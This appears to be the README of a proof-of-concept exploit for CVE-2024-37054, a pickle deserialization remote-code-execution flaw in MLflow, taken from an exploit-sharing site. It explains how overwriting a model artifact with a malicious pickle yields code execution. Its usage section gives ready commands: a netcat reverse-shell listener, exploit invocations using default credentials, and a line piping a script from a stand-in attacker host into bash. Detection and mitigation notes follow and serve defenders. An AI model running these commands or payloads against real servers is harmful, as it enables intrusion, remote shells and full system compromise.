## https://sploitus.com/exploit?id=98577502-2A6B-5482-8AC0-AD25A4774CB9
# CVE-2024-37054 — MLflow Pickle Deserialization RCE
[](https://www.python.org/)
[](https://nvd.nist.gov/vuln/detail/CVE-2024-37054)
[](https://nvd.nist.gov/vuln/detail/CVE-2024-37054)
[](https://mlflow.org/)
[](LICENSE)
> **Proof-of-concept exploit for a critical pickle deserialization vulnerability in MLflow Tracking Server, enabling authenticated remote code execution.**
> ⚠️ **For educational and authorized security testing only. Do not use against systems you do not own or have explicit written permission to test.**
---
## Vulnerability Overview
| Field | Value |
|---|---|
| CVE ID | CVE-2024-37054 |
| CVSS Score | 8.8 (HIGH) |
| CVSS Vector | `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` |
| Affected Versions | MLflow < 2.14.3 |
| Patched Version | MLflow ≥ 2.14.3 |
| Vulnerability Type | CWE-502: Deserialization of Untrusted Data |
| Attack Vector | Network |
| Privileges Required | Low (valid credentials) |
| User Interaction | None |
### Description
MLflow Tracking Server deserializes model artifacts via Python's `pickle` module when loading models for inference. An authenticated attacker can overwrite the `python_model.pkl` artifact in MLflow's artifact repository with a malicious pickle payload. When the model is subsequently loaded (e.g., during a prediction request), the payload is deserialized, executing arbitrary code on the server.
**Prerequisites for exploitation:**
- Network access to the MLflow Tracking Server
- Valid MLflow credentials (default or otherwise)
- Write access to artifacts (granted to all authenticated users)
### Impact
Successful exploitation yields **remote code execution** at the privilege level of the MLflow server process, which may lead to full system compromise, data exfiltration, lateral movement, or persistent access.
---
## How the Exploit Works
1. **Model Registration** — A legitimate training dataset is uploaded to create a new MLflow run and register a model version with standard artifacts.
2. **Artifact Overwrite** — The `python_model.pkl` artifact is replaced with a crafted pickle payload via `PUT /api/2.0/mlflow-artifacts/artifacts/...`.
3. **Deserialization Trigger** — A prediction request causes MLflow to call `pickle.load()` on the compromised artifact.
4. **Code Execution** — The pickle's `__reduce__` method invokes `os.system()`, executing the attacker's command.
The payload uses `os.system()` (a C built-in) rather than `cloudpickle` to maximize cross-version compatibility and avoid Python version-specific bytecode issues.
---
## Installation
**Requirements:** Python 3.7+, `requests`
```bash
git clone https://github.com/ben-slates/CVE-2024-37054
cd CVE-2024-37054
```
---
## Usage
```bash
# Start a listener
nc -lvnp 4444
# Run the exploit
python3 poc.py <TARGET_URL> <MLFLOW_URL> <LHOST> <LPORT>
```
### Examples
```bash
# Default credentials, basic reverse shell
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444
# Custom MLflow credentials
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
--mlflow-creds admin:MySecretPass123
# App login + MLflow credentials
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
--mlflow-creds admin:password \
--app-username admin \
--app-password admin123
# Custom command instead of reverse shell
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
--cmd "curl http://attacker.com/shell.sh | bash"
# Target specific experiment, increase delay for slow servers
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
--experiment-id 1 --delay 5
# Verbose output
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 -v
```
### Options
| Argument | Description |
|---|---|
| `target` | Target application URL |
| `mlflow` | MLflow Tracking Server URL |
| `lhost` | Attacker host for reverse shell callback |
| `lport` | Attacker port for reverse shell callback |
| `--mlflow-creds USER:PASS` | MLflow credentials (default: `admin:password`) |
| `--app-username` | Application login username |
| `--app-password` | Application login password |
| `--app-login-url` | Login endpoint path |
| `--upload-url` | Upload endpoint path |
| `--predict-url` | Prediction endpoint path |
| `--experiment-id ID` | Target a specific experiment ID |
| `--delay SECONDS` | Delay between steps (default: 2s) |
| `--cmd COMMAND` | Custom command to execute |
| `--verbose` / `--quiet` | Verbosity control |
| `--no-color` | Disable colored output |
---
## Detection
### Network Indicators
- `PUT` requests to `/api/2.0/mlflow-artifacts/artifacts/` endpoints
- Unexpected modification timestamps on `python_model.pkl`
- `POST /api/2.0/mlflow/runs/search` followed immediately by artifact modifications
### Host Indicators
- Unexpected `os.system()` calls from MLflow processes
- Python subprocesses spawned from MLflow worker processes
- Outbound connections from the MLflow server to unknown hosts
### Log Queries
```bash
# Artifact modification in access logs
grep "PUT.*python_model.pkl" /var/log/mlflow/access.log
# File integrity monitoring
auditctl -w /opt/mlflow/artifacts/ -p wa -k mlflow_artifacts
```
---
## Mitigation
**Immediate:**
- Upgrade MLflow to **2.14.3 or later**
- Rotate any default or weak credentials
- Restrict network access to MLflow API endpoints
- Audit artifact modification history for signs of tampering
**Long-term:**
- Implement artifact signing and integrity verification before loading models
- Use model signature enforcement and restrict pickle-based model flavors where possible
- Enable MLflow audit logging and alert on unexpected artifact writes
---
## Tested Environments
- MLflow 2.14.1 — Ubuntu 22.04, Python 3.10
- MLflow 2.12.0 — Docker, Python 3.9
- Various deployment configurations: local, Docker, Kubernetes
---
## References
- [NVD — CVE-2024-37054](https://nvd.nist.gov/vuln/detail/CVE-2024-37054)
- [MLflow Security Advisory](https://mlflow.org/)
- [CWE-502: Deserialization of Untrusted Data](https://cwe.mitre.org/data/definitions/502.html)
- [MLflow Documentation — Model Registry](https://mlflow.org/docs/latest/model-registry.html)
---
## Disclaimer
This tool is intended solely for:
- Security researchers studying deserialization vulnerabilities
- Penetration testers operating under written authorization
- System administrators auditing their own MLflow deployments
- Educational use in controlled lab environments
**Do not use this tool on any system you do not own or have explicit written permission to test. The author assumes no liability for misuse.**
---
## License
MIT — see [LICENSE](LICENSE) for details.
---
## Contact
📧 [contact@benslates.xyz](mailto:contact@benslates.xyz)
🐛 [Report an issue](https://github.com/ben-slates/CVE-2024-37054/issues)